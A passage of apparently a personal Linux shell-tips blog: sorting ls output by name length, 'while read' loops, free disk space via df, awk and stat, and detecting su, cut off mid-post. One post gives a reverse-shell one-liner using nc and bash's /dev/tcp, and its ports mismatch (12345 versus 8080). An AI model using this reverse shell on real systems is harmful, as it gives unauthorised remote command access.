List directory sorted by length of names in it

So, for whatever reason, while running ls command, I wanted my directory to be sorted by the length of the names in it, not by some other sorting method ls uses. After a bit of trial and error experimenting, I ended up with the following pipeline to do that:

for i in *; do echo `echo "$i" | wc -c` "$i"; done | sort -n | cut -f2- -d" " | xargs -d \\n ls -Uld

Let's break this command into peaces and describe what it does.

The first compound command starting with for and ending with the first pipe character has a task to output length of a name following by a space and then by name itself. You can try to run it within some directory and what you'll get will look similar to this:

1 a
4 name
7 testing
2 ab

What we've got is something to sort on (number a.k.a. length) and we keep name as well since we need it for later.

The next command in pipeline will sort this output so that the shortest name is first, following the longer ones and finally ending up with the longest name, i.e. we'll get

1 a
2 ab
4 name
7 testing

Since we have now sorted names we don't need length any more and thus we get rid of it using cut command as the next command in the pipeline. The output after cut command will look like this:

a
ab
name
testing

Now, if there are no spaces in the names, then it's easy, just hand over this list to the ls command. The command would then look like this:

ls -Uld `for i in *; do echo `echo "$i" | wc -c` "$i"; done | sort -n | cut -f2- -d" "`

Note backticks before for and at the end of the command line! The options U, l and d cause ls not to sort anything (U), to provide long output (l) and not to list content of directories (d).

But, in case there are spaces in names, this will fail horribly, as many other things do when they encounter spaces in names. So, the trick used in this case was to employ xargs command that collects standard input and runs command with certain number of arguments collected from stdin. The xarg command is

xargs -d \\n ls -Uld

In this command with option d we are telling xargs that delimiter between arguments is new line, and not space which is default setting. The rest of the line xargs takes as-is and just adds arguments and runs a command.

And that's it!

By the way, I also unsuccessfully tried to collect arguments into array by reading names with while loop (and read command). The problem is that any variable being set within while command is lost after while finishes and I didn't managed to pass this out of the while loop.

Difference between command substitution and 'while read' in bash

I just changed one of my scripts that, in principle, looked like this:

for i in `find . -type d`
do
     # do some processing on the found directory
done

The new format I use is:

find . -type d | while read i
do
    # do some processing on the found directory
done

While both versions will work in general, the second variant is better for the following reasons:

1. It's faster. Namely, in the first case the find command has to finish before processing on directories starts. This isn't noticeable for small directory hierarchies, but it becomes very noticeable for large ones. In the second case the find command outputs results and in parallel while loop picks them up and does processing.
2. In case you have spaces embedded in directory names, the second version will work, while the first won't.

Maybe there are some other advantages (or disadvantages) of the second version, but none I can remember at the moment. If you know any, please write it in the comments!

Tip: Quick and dirty reverse remote shell

Here is how to get reverse remote shell. I say reverse because the remote system is connecting to you. I'll demonstrate it on a single machine for simplicity. So, open a terminal and run the following command in it:

nc -l 12345

This will start netcat which will listen on port 12345. Then, in the second terminal, run the following command:

/bin/bash -c bash -i >& /dev/tcp/127.0.0.1/8080 0>&1

You won't notice anything in the first window where nc command is running, but try to enter some command there, e.g. pwd. :) What you've got, is remote shell. Obviously, because of the way things work you don't get prompt and other fancy stuff, but it works and that's important. :)

What you basically did is that you run interactive bash process (the option -i) with standard error and standard output redirected to /dev/tcp/127.0.0.1/8080 (redirection operator >&) and also standard output being redirected to the same file (the last 0>&1). The file being redirected to and from is a special notation for the bash shell that allows it to open connections, i.e. the syntax is:

/dev/<protocol>/<ipaddress>/<port>

More details can be found in bash manual page.

Getting free disk space in Linux

While working on a script to have full Zimbra backups as many days in the past as possible, I was trying to automatically remove old backups based on the free space value. Basically, the idea was to remove directory by directory until free space reached some threshold. To find out free space on a disk is easy, use df(1) command. Basically, it looks like this:

$ df -k /
Filesystem 1K-blocks     Used Available Use% Mounted on
/dev/sda1   56267084 39311864  16938836  70% /

The problem is that it is necessary to use some postprocessing in order to obtain desired value, i.e. 5th or 5th column. cut(1) command, in this case, is a bit problematic because in general you can not expect that the output is so nicely formatted, nor it is fixed. For example, based on the width of the widest device node in the first column, it is automatically resized. That in turn means number of whitespaces varies, and you end up being forced to use something else than cut(1). Probably, the most appropriate tool is awk(1), since awk(1) can properly parse fields separated with variable number of whitespaces. In addition, you need to get rid of first line. That can be done using head(1)/tail(1), but it is more efficient to use awk(1) itself. So, you end up with the following construct:

$ df -k / | awk 'NR==2 {print $4}'
16938836

But, for some reason, I wasn't satisfied with the given solution because I thought I'm using too complex tools for something that should be simpler than that. So, I started to search is there some other way to obtain free space of some partition. It turned out that stat(1) command is able to do that, but it's rarely used for that purpose. It is used to find out data about files, or directories, but not file systems. Yet, there is an option, -f, that tells stat(1) we are querying file system, and also there is an option --format which accepts format sequences in a style of date(1) command. So, to get the free space on root file system you can use it as follows:

$ stat -f --format "%f" /
4238805

stat(1) command without --format option prints all the data about file system it can find out:

$ stat -f /
  File: "/"
    ID: b8a4e1f0a2aefb22 Namelen: 255     Type: ext2/ext3
Block size: 4096       Fundamental block size: 4096
Blocks: Total: 14066771   Free: 4238805    Available: 4234709
Inodes: Total: 3588096    Free: 2151591

This makes it in some way analogous to df(1) command. But, we are getting values in blocks, instead of kilobytes! You can get block size using %S format sequence, but that's it. So, some additional trickery is needed. One solution is to output arithmetic expression and evaluate it using bc(1) command, like this:

$ stat -f --format "%f * %S" / | bc
17362145280

Alternatively, it is also possible to use shell's arithmetic evaluation like this:

$ echo $((`stat -f --format "%f * %S" /`))17362145280

But, in both cases we are starting two process. In a first case the processes are stat(1) and bc(1), and in the second case it is a new subshell (for backtick) and stat(1). Note that this is the same as the solution with awk(1). But in case of awk(1) we are starting two more complex tools of which one, df(1), is more targeted to display value to a user than to be used in scripts. One additional advantage of a method using awk(1) might be portability, i.e. I'm df(1)/awk(1) combination is probably more common than stat(1)/bc(1) combination.

Anyway, the difference probably isn't so big with respect to performance, but obviously there is another way to do it, and it was interesting to pursue an alternative. 

How to detect your script is started using su...

I wrote a script that had a problem when started via su command. Actually, this is a script within /etc/profile.d so it is executed when new login shell is executed. I'll write about that problem in another post, but here I'll concetrate on how to detect su command.

But before continuing let me clarify that this is a bit of a misnomer. Namely, the goal is to detect whether current environment is a consequence of user ID switching after login, but since this is almost exclusively done using su command, then I think I can put this title. There is also one more "problem". Namely, all user IDs currently having running processes descended from user id 0. But, we are not going so far with philosophy. :)

I started by thinking/hoping that id command could identify originating user, i.e. real user. But that was not possible since the distinction between real and effective user ids is preserved only via setuid flag on files. So, another approach has to be used. There are three possibilities, each one with its own advantages and shortcomings.